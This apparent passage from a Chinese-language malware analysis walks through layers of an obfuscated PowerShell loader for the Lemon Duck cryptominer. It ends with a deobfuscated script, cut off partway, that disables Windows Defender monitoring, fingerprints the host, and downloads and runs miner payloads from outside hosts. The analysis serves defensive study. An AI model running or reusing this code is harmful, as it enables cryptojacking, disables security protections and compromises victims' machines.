285d6504f73db256b21afe8b0506cd8c8288e773f61e7eba77fffe830c7a2fdfd9df3dbf7f60d2ca9f3e38df3dcf26e7e793bdfdbd83a96a385eb2a4c666c19154ecf8e2d305be350b9cf215cfd27d38ae0ff39dfbf98319fd369be6f73ecd77f34fa70ff287a69ffbb3fdfddd87b3e94c7bd08f1d24e9c4f661bfb0cb986a00e9fb7b3b93fde9f9fec1ecdefde9eeecc18199ce3d70f4bd838793ecc1943cbefd9d5c3b6343677ba1569371fd563bf2bf3bb8bfbb3b33e0ce0ff2ddf39ddde9cebd7b3bf901bdb433b93f3bbff760f26976ff4001b3ddf1d03f2f142abe5038c65532eede673a9e5f7ce740c2a41f14af69a6ebf62556f3f525513414307dbcf5517ae730fddeeb37afce969f7fffd1a3ef54c58bad8f3f4e47e9eff68bf62ef6bffdbd747b371d8fb7d32df97bfc3c5f7efee6db77d2efdf497fe6176ea5bfdbaa997fb9c8bfb7b7fbfd4f7eb797afe7d5e2f47bf776beffc9c7ef3ebef31b27ff0f'-split'(..)'|?{$_}|%{[convert]::ToUInt32($_,16)}))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();
*/

解密得到如下

代码语言:javascript
复制
/*
* 提示:该行代码过长,系统自动注释不进行高亮。一键复制会移除系统注释 
* sET-VarIaBlE  ('Q2G'+'4h')  ( ")''Nioj-'X'+]3,1[)ecNerEFerPESOBreV$]gNIRTS[( ( &| )63]rAHc[]gNiRTs[,)65]rAHc[+58]rAHc[+05]rAHc[((EcaLper.)93]rAHc[]gNiRTs[,)311]rAHc[+97]rAHc[+211]rAHc[((EcaLper.)'|',)021]rAHc[+121]rAHc[+311]rAHc[((EcaLper.)')qOpXqOp+]'+'31[DIlLEhs8U2+]1[dIlLEhS8'+'U2 ( .xy'+'q)69]rAHc[,qOpQUrqOp EcALP'+'e'+'rc-43]rAHc[,qOp7kMqOpEcALPerc-29]rAHc[,qOpd3yqOp EcALPerc-  63]rAHc[,)68]rAHc[+45]rAHc[+76]rAHc[( ECALPer-  93]rAHc[,)45'+']rAHc[+66]rAHc[+58]rAH'+'c[( ECALPer- 421]rAHc[,)18]rAHc[+501]rAHc[+001]'+'rAHc[( EcALPerc-)qOp}7kMnib.edo/lru_nwodV6C7kM XEI'+'S    {))gol.kk4kkd3ypmt:qOp+qOpvneV6C htap-tset(!(fiqOp+qOp}}    }        7kMniqOp+qOpb.liamqOp+qOp_fi/lr'+'u_nwodV6C7kM XEIS            {))txt.4iq'+'Op+qOplamdogd3ypmt:vneV6C htap-tset(!(fi        {)liaMlacolV6C(fi    }{hctac})liaMlacolV6C]fer[,6BUqOp+qOpliaMlacoLd3ylqO'+'p+qOpabolG6BU,eurtV'+'6C(xetuM.gnidaerhT tcejbO-weN;esa'+'lfV6C=liaMlacolV6C{yrt    {)galfmV6qOp+qOpC(fi}}}yeksV6C htap-tset=qOp+qOpga'+'lfmV6C    drowqOp+qOpD epyt- 2 drauGledoMtcejbO yeksV6CqOp+qOp yqOp+qOptreporPm'+'etI-teS    }    yeksV6C metI-weNqOp+qOp        {))yeksV6C htaP-tseT(!(fi    '+'7kMytirqOp+qOpuceSd3yko'+'oltuOd3y_V6Cd3yhtapV6C::yrtsigeR7kM=yeksV6C    {hcaerofQid})kooltuOd3y_V6Cd3yhtapV6qOp+qOpC::yqOp+qOprtsigeR htaP-tseT( dnaqOp+qOp- 7kM+dd3y7kM hctam- _V6C{tcejbo-erehwQideman- htapV6C::yrtsigeR metidlihc-teg{)htap'+'V6C::yrqOp+qOptsigqOp+qOpeR htap-tset(fi{)shtapV6C ni htapV6C'+'(hcaerof)7kMosmV6CdnwV6CmrcV6Cd3yosmVqOp+qOp6CskhV6C7kM,7kMosmV6CmrcV6Cd3yosmVqOp+qOp6CskhV6C7kM,7kMosmV6CdnwV6Csk'+'hV6C7kM,7kMosmV6CskhV6C7kM(@=shtapV6qOp+qOpC7kqOp+qOpMd3yerawtfoSd3yENIHCAMd3'+'qOp+qOpy'+'YRTSIqOp+qOpGERd3ynuRoTkcilC7kM=mrcV6C7kMd3y'+'edoN2346woW7kM=dnwV6C7kMeciffOd3ytfosorciM7'+'kM=osmV6C7kMd3yERAWTFOSd3yENIHCAM_LACOL_YEKH7kM=skhV6C'+'q'+'Op+qOp}{hctacqOp+qO'+'p}}}    '+'dnV6Cd3ypmt:vneV6C metI-evqOp+qOpomeR        )61,7kM*d3ydnV6Cd3ypmt:vneV6C7kM(er'+'eHypoC.)pmt:vneV6C(ecapSemaN.)nqOp+qOpoitacilppA.llehS tcejbOmoC- qOp'+'+qOptcejbO-weN(        )7kMdnV6Cd3ypmt:vqOp+qOpneV6C7kM,7kMdnV6C/7kM+lru_'+'nwodV6C(7kMeliqOp+qOpFdaolnwoD7kM.)tneilQUrCbeW.'+'tqOp+qOp'+'eN tceQUrjbo-wQUren(        {)86953022 en- htgnelq'+'Op+qOp.)gdnV6C metI-teG( ro- qOp+qOp)gdnV6C htap-tsetqOp+qOp(!(fi    '+'7kMtad.gdvnd'+'3ypmt:vneV6C7kM=gdnV6C    7kMpiz.dvn7kM=dnV6C    qOp+qOpqOp+qOp{)46siV6C '+'dna- nsiV6C(fi{yrt7kMpsj.troper/lrqOp+qOpu_erocV6C7kM XEIS}}{hctac }    }        }        '+'    qOp+qOp)setyb_warV6C]][rahc[nioj-qOp+qOp( XEI                { ))yarrAety'+'bV6C,1ahsV6C,setyb_warV6C(ataDyfirev.asrV6C(fi            r'+'edivorPecivreSotpyrC1qOp+qOpAHS.yhpqOp+qOpargotpyrC.ytiruceS.metsyS'+' tcejbO-w'+'eN = 1ahsV6C            )46esabV6C(gnqOp+qOpirtS46esaBmorF::]trevnoc[ = yarrAety'+'bV6C            )setyb_ngisV6C]][rahc[(nioj- = 46esabqOp+qOpV6C            )smaraPasrV6C(sretemaraPtropmqOp+qOpI.asrVqOp+qOp6C            ;redivorPecivreSotpyrCASR.yhpargotpyqOp+qOprC.ytiruceS.metsyS'+' em'+'aNqOp+qOpepyT- tcejbO-weN = asrV6C            10x0,00x0,10x0 q'+'Op+qOp= tnenopxE.smaraP'+'asrV6C            qOp+qOpd5x0,b6x0,qOp+qOp74xqOp+qOp0,7bx0,83x0,'+'aex0,79x0,eax0,b7x0,4ax0,36x0,88x0,7fx0,5dx0,36x0,dfx0,27x0,01x0,59x0,e2x0,6fx0,f3x'+'0,79'+'x0,bdx0qOp+qOp,89x0,a0x'+'0,bcx0,03x0,e6x0,93x0,fcx0,0dx'+'0,24x0'+',e8x0,59x0,eax0,a6x0,19qOp'+'+qOpx0,7ax'+'0'+',0qOp+qOp4x0,97x0,dcx0,21x0,2e'+'x0,fqOp+qOp9x0,7ax0,'+'a8x0,87x0,43x'+'0,'+'7cx0,7ex0,dcx0,10'+'x0,25x0,6cx0,37x0,03x0,91x0,1dx0,b2x0,d7x0,b9x0,e2x0,8bx0,c6x0,eex0,29x0,2fx0,53x0,fbx0,88x0,cdx0,06x0,1dx0,11x0,6fx0,fqOp+qOp4x0,'+'6ax0,dbx0,edx0,acx0,e6x0,69x0,70x0,68x0,0qOp+qOp7x0,26x0,b3x0,f'+'4x0,3fx0,b'+'6x0,7'+'3x0qOp+qOp,dcx0,dcx0,0cx0,d3x'+'0,25x0,c3x0,32x0,e4x0,eax0,6dx0,76x0,bex0,55x0,b7x0,c'+'6x0,e6x0,37x0,a9x0,35x0,37x0,ffx0,f2xqOp+qOp0'+',ffx0,28x0,d9x0,99x0,e5x0,14x'+'0,d6x0,cbx0,79x0,bbx0,7dx0qOp+qOp,8ax0,56x0,aqOp+qOpdx0 = suludoM.smara'+'PasrV6C            sretemaraPASR.yhpargotpyrC.ytiruceS.met'+'syS tcejbO-w'+'eN = smaraPasrV6C            ;]tnuoc.setyb'+'_serV6C..371[setyb_serV6C = setyb_warVqOp+qOp6C            ;]17'+'1..0[setyb_serV6C = s'+'etyb_ngisV6C            qOp+qOp{)371 tg- tnuoc.setyb_serV6C(fi        )'+'lrulanifV6C(ataDdaol'+'nwoD.tneilcbewV6C = setyb_serV6C        }{hctac }        ))6BU-6BU,6BUd3qOp+qOpy6BU(ecalper.kcuD_nomeL'+'V6qOp+q'+'OpC+7kM-kcuDqOp+qOp-nomeL7kM,7kMtnegA-res'+'U7kM(dda.sredaqOp+qOpeH.tnei'+'lcbewV6C            {yrt        7kMsmarapV6C7kM+7kM?7kM+7kMlruV6C7kM = lrulanifV6C        tneilQUrCbeW.teN tceQUrjbO-wQUreN = tneilcbewV6C        {yrt    )    lruV6C]gnirts[    (maraP      { XEIqOp+q'+'OpS noitcnuf)7kM&7kMnioj-)7kM4.07kM,pmatsemitV6C,emitpuV6C,qOp+qOprhmV6C,pimV6C,vmV6C,)7kM7kMnioj-]5..0[5dmrklV6C(,)7kM7kMnioj-]5..0[5dmmlV6C(,)7kM7kMnioj-]5..0[5dmfilV6C(,'+'timrepV6C]tnI[,memV6C,dracV6C,evirdV6C,niamodV6C,resuV6C,46siV6C]tnI[,soV6qOp+qOpC(@(+7kM&7kM=+smarapV6C}{hctac}))6BU9.9.9.96BU,6BU8.8.8.86BU(@(redrOhcraeSrevreqOp+qOpSSNDteS.)eurt='+'delbanepi retlif- noitarugifnoc'+'retpadakrowten_23niw'+' ssalc- tcejboimw-te'+'g({yrt}))emanerV6C bpg(+)nibrkV6C 5dmrkV6C 4edocV6C fcg(( pts    {)rKlacolV6C(fi4edocV6C xEQUrI7kMrK7kM edocg=4edocV6C}'+'}    ))em'+'anerV6C nibgmV6qOp+qOpC apqOp+qOpg(+)nibgmV6C qOp+qOp5dmgmV6C 3edocV6C fcg(( pts        {qOp+qOp)gnMTlacolV6C(fi    3edocV6C xEQUrI    7kMqOp+qOpgnMT7kM'+' edocg=3edocV6C    {)46siV6C dna- )as'+'iV6C ro- nsiV6C((fi}}    ))emanerV6C nibmV6C apg'+'(+)nibmV6C 5dmmV6C 2eqOp+qOpdocV6C fcg(( pts        {)nMTla'+'colV6C(fi    2edocV6C xEQUrI    qOp+qOp7kMnMT7kM edocg=2edocV6C    {)46s'+'iV6C(fi}))emaqOp+qOpnerV6C bpg(+'+')n'+'iqOp+qOpbfiV6C 5dqOp+qOpmfiV6C 1edocV6C fcg(( pts    {)fIlacolV6C(fi1edocV6Cq'+'Op+qOp xEQUrI7kMfI7kM edocg=1edocV6C}6qOp+qOpBU}{hctac})6BU+lfV6C+6BUlac'+'olV6C]fer[,6BU6BU6BU+lfV'+'6C+6BUlacoLed3ylabo'+'lG6BU6BU,eqOp+qOpurtV6C(xetuM.gnidaerhT tcejbO-weNqOp+qOp;esalfV6C=6BU+lfV6C+6BUlacolV6C{yrt6BU    qOp+qOp{ )'+'lfV6C(edocg noitcnuf}6BU- 6BU+emanV6C+6BUQid)nocV6C]][rahc[nioj-'+'('+'XEQ'+'U'+'rI6BU '+'   {)emanV6C(bpg noitcnuf}7kMexe'+'.manfV6Cd3y%pmt% & exe.manfV6Cd3y%pmtqOp+qOp% iro.manfV6Cd3yqOp+q'+'Op%pmt% y/'+' '+'ypoc c/ dmc& - '+'emanV6CQid7qOp+qOp'+'kM+)6BU&^^^6BU,'+'6BU&6BU(ecalper.)qOp+qOp6BUQiq'+'Op+qOpd^^^6BU,6BUQid6BU(ecalpeqOp+qO'+'pr.)6BUnibV6C setyBEP- 1tset;))001 tqOp+qOpnuoC- modnaR-teGQid)721..'+'1((+_'+'nibV6C,pemV6C(setyBllA'+'etirW::]eliF.OI.metqOp+qOpsySqOp+qOp[;6BU6BU6BU+7kMiro.manfV6Cd3y7kM+6BU6BU6BU+pmt:vneV6C=pemV6C;)(enolC.nibV6C=_nibVqOp+qOp6C;)0000'+'0001(setyBdaeRqOp+qOp.)))sseqOp+qOprpmoceD::]edoMnoisserpmoC.no'+'qOp+qOpisserpmoC.OI[( ,))])tnuoc.nocV6C(..)1+iV6C([nocV6CqOp+qOp,(maer'+'tSyrom'+'eM.OI.metsyS tcejbO-weN( maertSpi'+'zG.noisserpmoC.OI.me'+'tsyS tcejbqOp+qOpO-weN(redaeRyraqOp+qOpniB.OI tcejbO-weN(=nibV6C;)]iV6C..0qOp+qOp[nocV6C]qO'+'p+qOp][rahc[nioj-(xeQUri;}}kaerb{)a0x0 qe- ]iV6C[nocV6C(fi{)1=+iV6C;1-tnuoc.nocV6C tl- iV6C;0=iV6C(rofqOp+q'+'Op6BU(    {)emanV6C,manfV6C(apg '+'noitcnuf})'+'6BU&^^^6BU,6BU&6BU(ecalper.)6BUQid^'+'^^6qOp+qOpBU,'+'6BUQid6B'+'qOp+qOpU(ecalper.)6BU}_5dm'+'V6C=5dmfiV6C;'+'_nocV6CqOp+qOp=nocV6C'+'{)puonV6C(fi}}1=puonV6C{esle})nocV6C,pfiV6C(setyBllAetirW::]eliF.OI.metsyS[{)5dmfiV6Cqe-tV6C(fi;no'+'cV6C 5dmg=tV6C;)6BU6BU6BU+'+'smarapV'+'6C+6BU?6BU+nfV6'+'C+6BU/6BU6BU+lru_nwodV6qOp+qOpC(aqOp+qOptaddaolnwod.)tneilQUrCbeW.teN'+' tceQUrjbO-wQUreN(=nocV6C'+'{)puonV6C!(fi}}1=puonV6C{)5dmfiV6Cqe-_5dmV6C(fi;_nocV6CqOp+qOp 5dmg=_5dmV6C;)pfiV6C('+'setyBllAdaeR::]eliF.OI.metsyqOp+qOpS[=_nocV6C{)pf'+'iV6C htap-tset(fi}sV6C nruter;})6BU6BU2x6BU6B'+'U(gnirtSoT._V6C=+sV6C{hcaerofQidqOp'+'+qOp)nocV6C(hsaHetupmoC.)(etaerC::]5DM.yhpargotpyrC.ytiruceS.metsyS[{)nocV6C(5dqOp+qOpmg noitcnuf;6BU6BU6BU+lru_nwodV6C+6BU6BU6BU=l'+'ru_nwodV6C;6BU6BU6BU+nfqOp+qOpV'+'6C+6BUd3y6BU6BU+pm'+'t:vneV'+'6C=pfiV6C;6BU6BU6BU'+'+dmV6C+6BU6BqOp+qOpU6BUqOp+qOp=5dmfiV6C;6BU+edocV6C+6BU ohce6BU(    {)nfV6C,dmV6C,edocV6C(fcg noitcnuf}7kMargV6C c/7kM tsiLtneqOp+qOpmugrA- exe.dmc htaPeliF- sseqOp+qOpcorP-'+'tqOp+qOpr'+'atS    argV6C tsoh-etirw    {)argV6C(pt'+'s noitcnufpmt:vneV'+'6C noitacol-tes7kqOp+qOpM&7kMnioj-)camV6C,diqOp+qOpugV6C,e'+'man_pmocV6C,vV6C(@=sma'+'rapV6C]1[)7kM?7kM(tilps.lruV6C=vV6C}1=asiV6C{))7kMDMAQqOp+qOpidnoedaR7kM hctam- dracV6C((fi}1=nsiV6C{))7kMECROFEGQidAIDIVNQidXTG7kM hctam- dracV6C((fi}{hqOp+qOpctac}emaneqOp+qOprV6Cd3y0.1vd3yqOp+qOpllehSrewoPswodniWd3y23met'+'sysd3yswodniwd3y:c ssecorPnoisu'+'lcxE- e'+'qOp+qOp'+'cnereferPpM-qOp+qOpddA    ex'+'e.llehsrewopd3y0.1'+'vd3yllehSrewoPqOp+qOpswodniWdqOp+qOp3y23metsysd3yqOp+qOpswodniwd3y:c ssecorPnoisulcxE- ecnereferPpM-ddA    d3y:c htaPnoisulcxE- ecnereferPpM-ddA    1 gnirotinoMemitlaeRel'+'basiD- ecnereferPpM-teS    {qOp+qOpyrt}{hctac})6BU,6BU(nqOp+qOpioj-latot.etarhsah.jboV6C=rhmV6Cpi.noitcennoc.jboV6C=pimV6Cnoisrev.jboV6C=vmV6CqOp+qOp))6BUyrammus/qOp+qOp1/96634:1.0.'+'0.721//:ptth6BU(7kMgnirtsdaolnwqOp+qOpod7kM.'+')tneilQUrcbew.ten tceQUrjbo-wQUrenqOp+'+'qOp((tcejbOezilaireseD.)rezilaireStpircqOp+qOpSavaJ.noitaqOp+qOpzilaireS.tqOp+qOppircS.beW tcejbO-weN( = '+'jboV6C)7kMsqOp+qOpnoisnetxE.beW.metsyS7kM(emaNlaitraPhtiqOp+qOpWdaoL::]ylbmessA.noitcelfeR[{yrt)9,0(gnirtsbuS.)7kMs%7kM tam'+'roFU- etaD-teG( = pmatsemitV6C}{hctac}7kMQid7kMnioj-)}]0[))(gnqOp+qOpirtsot.epyTevirD._V6C(+7kM_7kM+]0[qOp+qOp)emaN._V6C({hca'+'erof Qid }))7kM23TAF7kM qe- tamroFevirD._V6C( ro- )7kMSFTN7kM qe'+'- tamroFevirD._V6C(( dna- ))7kMkrowteN7kM qe'+'- epyTevirD._V6C( ro- )7kMelbavom'+'eR7kM qe- epyTevirD._'+'V6C(( dna- )4201 tg- ecapSeerFelbaliavA._V6C( dqOp+qOpna- ydae'+'RsI._V6C{ erehw Qid )(sevirDteG::]ofnIevirD.OI.metsys[( = evirdV6C{yrtbG1/musmV6qOp+'+'qO'+'pC=memV6C;} yticapaC'+'._V6C =+ m'+'usmV6C { }0 = musmVqOp+qOp6C{% Qid yromeMlacisyhP_23niW imwgeman'+'.)rellortnoCoediV_23'+'niW tcejbOimW-teG( = dracV6C}sdnoceslaqO'+'p+qOptot._V6C{hcaerofQid)tnuoCkciT::]tnemnorivne[(sdnqOp+qOpocesilliMmorF::]napsemit['+' = emitpuV6CniamoD.)metsysre'+'tupmoc_23niw tceqOp+qOpjbOimW-teG( = niamodV6qO'+'p+qOpCEMANRESU:vneV6C = resuV6'+'qOp+qOpCnoisreV.bsoV6C+qOp+qOp7kM_7kM+)7kM7kM,7kM swodniW tfosorcqOp'+'+qOpiM7kM(ecalper.noitpaC.bsoV6C = soV'+'6C)metsySgnitarepO_'+'23niW ssaqOp+qOplc- tcejbOimW-teG( = bsoV6C'+'1 tsrif'+'- tcejbo-tceles Qid sserddacaM.)}eurtV6C QE- delbanepi._V6C{ erehw QiqOp+qOpd noitarugifnoCretpadAkrowteN_23niW'+' tcejbOimW-teG( = camV6CDIUU.)tcudorPmetsySretupmqOp+qOpoC_2qOp+qOp3niW tcejboimw-teg( =qOp+qOp diugV6C'+'EMANRETUPMOC:vneV6C = eman_pmocV6C)7kMrotartsinimdA7kM ]eloRnItliuBswodniW.lqOp+qOpapqOp'+'+qOpicnirP.yt'+'iruceS[(eloRnIsI.))(tnerruCteG:'+':]ytitnedIswodniW.lapicnirP.ytiruceS[]lapicnirPswo'+'dniW.lapicnirP.ytiruceS[( = timrepV6C7kM/7kMnioj-]2..0[)7kM/7kM(tilps.lruV6C = lru_erocV6'+'C}7kMmoc.xnyma.t//:ptth7kMq'+'Op+qOp=lrqOp+qOpuV6C{)lru'+'V6C!(fiqOp+qOp7kMmoc.gnkca.d//:ptth7kM =qOp+qOp lru_nwodV6C}{hctac}))7kMnibrkV6Cd3ypmt:vneV'+'6CqOp+qOp7kM(sqOp+qOpetyBllAdaeR::]eliF.OI[( 5dmg=5dmrklV6C{yrt}{hctac}))7kMnibmV6Cd3ypmt:vne'+'V6C7qOp+qOpkM(setyBllAdaeR::]eliF.OI[( 5dmg=5dmmlV6C{yrt}{hctacqOp+qOp}))7kMnibfiV6Cd3ypmt:vneV6C7kM(setyBllAdaeR::]eliF.OI[( 5'+'dmg=5dmfilVqOp+qOp6C{yrtqOp+qOp7kM7kM,7kM7kM,7kM7kM=5dm'+'rklV6C,5dmmlV6C,5dmfilV6Cemanrteg=emanerV6C}emaqOp+qOpneV6C'+' nrqOp+qOputeqOp+qOpr    }7kMexe.llehsrewop7kM=emaneV6C{))7k'+'M'+'emanqOp+qOpeV6Cd3yhtaprV6C7k'+'qOp+qOpM htap-tset(!(fi    llun-tuoQid7kM'+'emaneV6Cd3yhtapr'+'V6C7kM 7kMexe.llehsrewopd3yhtaprV6C7kM meti-ypoc    7kMexe.7k'+'M + ))'+'6%)modnaR-teG(+6( tnuoC- modnaR-t'+'eGQid)221..79+09..56+75..84(]][rahc[(nioj-=emaneV6C    }    }  qOp+qOp      emaneV6C nruter            {)_5dmV6C qe- 5dmtV6CqOp+qOp(fiqOp+qOp        '+'))7kMemaneV6Cd3yht'+'apqOp+q'+'OprV6C7kM(seqOp+qOptyBllAdaeR::]eliF'+'.OI[( qOp+qOp5dmg=_5dmV6'+'C        {)semaneV6C ni emaneV6C(hcaerof    ))7kMexe.lleh'+'srewopd3yhtaprV'+'6C7kM(setyBllAqOp+qOpdaeR::]eliF.OI[( 5dmg = 5dmtVqOp+qOp6C    }eman._V6C{qOp+qOphqOp+qOpcaerofQidexe.llehsreqOp+qOpw'+'op edulcxE- exe.'+'* edulcnI- 7'+'kM*d3yhtaprV6C7kM icg = semaneV6C'+'    7kM0.1Vd3ylqOp+qOplehsrewopswodniWd3y23metsySqOp+qOpd3yswodniWd3y:C7kM=htapr'+'V6C    {)(emanrteg noitcnuf}lV6C nruter    })6BU2x6BU(gnirtS'+'oT._V6C=+lV6C{hcaerofQid)dV6C(hsaHqOp+qOpetupmoC.)(etaerC::]5DM.yhpargotpyrC.ytiruceS[    {)dV6C(5dmqOp+qOpg noitcnuf}7kM2962557a5'+'e041f580qOp+qOp67f1fabffb2428c7kM=5dmgmV6C'+'    7kMnib.g6m7kM=nibgmV6C    7'+'kM53'+'9e05e7d'+'dce36e1e6c7e90qOp+qOp5d4419dcd7kM=5dmqOp+qOpmV6C    7kMnib.6m7kM=nibmV6C    {)46siV6C(fi7kM30b4cf48d35c1d78qOp+qOpd2'+'6389ba7ceca40e7kM=5dmrkV6C7kMni'+'b.rk7kM=nibrkV6C7kM8511d8qOp+qOpf8e1f01c0330e8'+'0b5df37b6a587kM=5dmfiV6C7kMnib.fi7kM=nibfiV6qOp+qOpC'+'}eurtV6C=46siV6C{)8 qe- eziS::]rtPtnI[qOp+qOp(fiqOp(( '(" ); [STRInG]::JoiN('' , $q2g4H[ -1 ..- ($q2g4H.LenGTH) ]) |&( $pshOme[21]+$PShomE[30]+'x')
*/

翻转+去混淆如下

代码语言:javascript
复制
/*
* 提示:该行代码过长,系统自动注释不进行高亮。一键复制会移除系统注释 
* if([IntPtr]::Size -eq 8){$is64=$true}$ifbin="if.bin"$ifmd5="85a6b73fd5b08e0330c10f1e8f8d1158"$krbin="kr.bin"$krmd5="e04acec7ab98362d87d1c53d84fc4b03"if($is64){    $mbin="m6.bin"    $mmd5="dcd9144d509e7c6e1e63ecdd7e50e935"    $mgbin="m6g.bin"    $mgmd5="c8242bffbaf1f76085f140e5a7552692"}function gmd5($d){    [Security.Cryptography.MD5]::Create().ComputeHash($d)|foreach{$l+=$_.ToString('x2')}    return $l}function getrname(){    $rpath="C:\Windows\System32\Windowspowershell\V1.0"    $enames = gci "$rpath\*" -Include *.exe -Exclude powershell.exe|foreach{$_.name}    $tmd5 = gmd5 ([IO.File]::ReadAllBytes("$rpath\powershell.exe"))    foreach($ename in $enames){        $md5_=gmd5 ([IO.File]::ReadAllBytes("$rpath\$ename"))        if($tmd5 -eq $md5_){            return $ename        }    }    $ename=-join([char[]](48..57+65..90+97..122)|Get-Random -Count (6+(Get-Random)%6)) + ".exe"    copy-item "$rpath\powershell.exe" "$rpath\$ename"|out-null    if(!(test-path "$rpath\$ename")){$ename="powershell.exe"}    return $ename}$rename=getrname$lifmd5,$lmmd5,$lkrmd5="","",""try{$lifmd5=gmd5 ([IO.File]::ReadAllBytes("$env:tmp\$ifbin"))}catch{}try{$lmmd5=gmd5 ([IO.File]::ReadAllBytes("$env:tmp\$mbin"))}catch{}try{$lkrmd5=gmd5 ([IO.File]::ReadAllBytes("$env:tmp\$krbin"))}catch{}$down_url = "http://d.ackng.com"if(!$url){$url="http://t.amynx.com"}$core_url = $url.split("/")[0..2]-join"/"$permit = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")$comp_name = $env:COMPUTERNAME$guid = (get-wmiobject Win32_ComputerSystemProduct).UUID$mac = (Get-WmiObject Win32_NetworkAdapterConfiguration diQ where {$_.ipenabled -EQ $true}).Macaddress | select-object -first 1$osb = (Get-WmiObject -class Win32_OperatingSystem)$os = $osb.Caption.replace("Microsoft Windows ","")+"_"+$osb.Version$user = $env:USERNAME$domain = (Get-WmiObject win32_computersystem).Domain$uptime = [timespan]::FromMilliseconds([environment]::TickCount)|foreach{$_.totalseconds}$card = (Get-WmiObject Win32_VideoController).namegwmi Win32_PhysicalMemory | %{$msum = 0} { $msum += $_.Capacity };$mem=$msum/1Gbtry{$drive = ([system.IO.DriveInfo]::GetDrives() | where {$_.IsReady -and ($_.AvailableFreeSpace -gt 1024) -and (($_.DriveType -eq "Removable") -or ($_.DriveType -eq "Network")) -and (($_.DriveFormat -eq "NTFS") -or ($_.DriveFormat -eq "FAT32"))} | foreach{($_.Name)[0]+"_"+($_.DriveType.tostring())[0]})-join"|"}catch{}$timestamp = (Get-Date -UFormat "%s").Substring(0,9)try{[Reflection.Assembly]::LoadWithPartialName("System.Web.Extensions")$obj = (New-Object Web.Script.Serialization.JavaScriptSerializer).DeserializeObject((new-object net.webclient)."downloadstring"('http://127.0.0.1:43669/1/summary'))$mv=$obj.version$mip=$obj.connection.ip$mhr=$obj.hashrate.total-join(',')}catch{}try{    Set-MpPreference -DisableRealtimeMonitoring 1    Add-MpPreference -ExclusionPath c:\    Add-MpPreference -ExclusionProcess c:\windows\system32y3dWindowsPowerShell\v1.0\powershell.exe    Add-MpPreference -ExclusionProcess c:\windows\system32\WindowsPowerShell\v1.0\$rename}catch{}if(($card -match "GTX|NVIDIA|GEFORCE")){$isn=1}if(($card -match "RadeondiQAMD")){$isa=1}$v=$url.split("?")[1]$params=@($v,$comp_name,$guid,$mac)-join"&"set-location $env:tmpfunction stp($gra){    write-host $gra    Start-Process -FilePath cmd.exe -ArgumentList "/c $gra"}function gcf($code,$md,$fn){    ('echo '+$code+';    $ifmd5='UB6'+$md+''';    $ifp=$env:tmp+''\'+$fn+''';    $down_url='''+$down_url+''';    function gmd5($con){[System.Security.Cryptography.MD5]::Create().ComputeHash($con)|foreach{$s+=$_.ToString(''x2'')};    return $s}if(test-path $ifp){$con_=[System.IO.File]::ReadAllBytes($ifp);    $md5_=gmd5 $con_;    if($md5_-eq$ifmd5){$noup=1}}if(!$noup){$con=(New-Object Net.WebClient).downloaddata($down_url+''/'+$fn+'?'+$params+''');    $t=gmd5 $con;    if($t-eq$ifmd5){[System.IO.File]::WriteAllBytes($ifp,$con)}else{$noup=1}}if($noup){$con=$con_;    $ifmd5=$md5_}').replace(UB6|',UB6^^^|').replace('&','^^^&')}function gpa($fnam,$name){    ('for($i=0;    $i -lt $con.count-1;    $i+=1){if($con[$i] -eq 0x0a){break}};    iex(-join[char[]]$con[0..$i]);    $bin=(New-Object IO.BinaryReader(New-Object System.IO.Compression.GzipStream (New-Object System.IO.MemoryStream(,$con[($i+1)..($con.count)])), ([IO.Compression.CompressionMode]::Decompress))).ReadBytes(10000000);    $bin_=$bin.Clone();    $mep=$env:tmp+'''+"\$fnam.ori"+''';    [System.IO.File]::WriteAllBytes($mep,$bin_+((1..127)|Get-Random -Count 100));    test1 -PEBytes $bin').replace('|','^^^diQ').replace('&','^^^&')+"|$name - &cmd /c copy /y %tmp%\$fnam.ori %tmp%\$fnam.exe & %tmp%\$fnam.exe"}function gpb($name){    IEX(-join[char[]]$con)|'+$name+' -'}function gcode($fl) {    try{$local+$fl+=$flase;    New-Object Threading.Mutex($true,''Global\eLocal'+$fl+''',[ref]$local'+$fl+')}catch{}UB6}$code1=gcode "If"IEx $code1if($localIf){    stp ((gcf $code1 $ifmd5 $ifbin)+(gpb $rename))}if($is64){    $code2=gcode "TMn"    IEx $code2    if($localTMn){        stp ((gcf $code2 $mmd5 $mbin)+(gpa $mbin $rename))    }}if(($isn -or $isa) -and $is64){    $code3=gcode "TMng"    IEx $code3    if($localTMng){        stp ((gcf $code3 $mgmd5 $mgbin)+(gpa $mgbin $rename))    }}$code4=gcode "Kr"IEx $code4if($localKr){    stp ((gcf $code4 $krmd5 $krbin)+(gpb $rename))}try{(get-wmiobject -class win32_networkadapterconfiguration -filter ipenabled=true).SetDNSServerSearchOrder(@('8.8.8.8','9.9.9.9'))}catch{}$params+="&"+(@($os,[Int]$is64,$user,$domain,$drive,$card,$mem,[Int]$permit,($lifmd5[0..5]-join""),($lmmd5[0..5]-join""),($lkrmd5[0..5]-join""),$mv,$mip,$mhr,$uptime,$timestamp,"0.4")-join"&")function SIEX {      Param(    [string]$url    )    try{        $webclient = New-Object Net.WebClient        $finalurl = "$url"+"?"+"$params"        try{            $webclient.Headers.add("User-Agent","Lemon-Duck-"+$Lemon_Duck.replace('y3d','-'))        } catch{}        $res_bytes = $webclient.DownloadData($finalurl)        if($res_bytes.count -gt 173){            $sign_bytes = $res_bytes[0..171];            $raw_bytes = $res_bytes[173..$res_bytes.count];            $rsaParams = New-Object System.Security.Cryptography.RSAParameters            $rsaParams.Modulus = 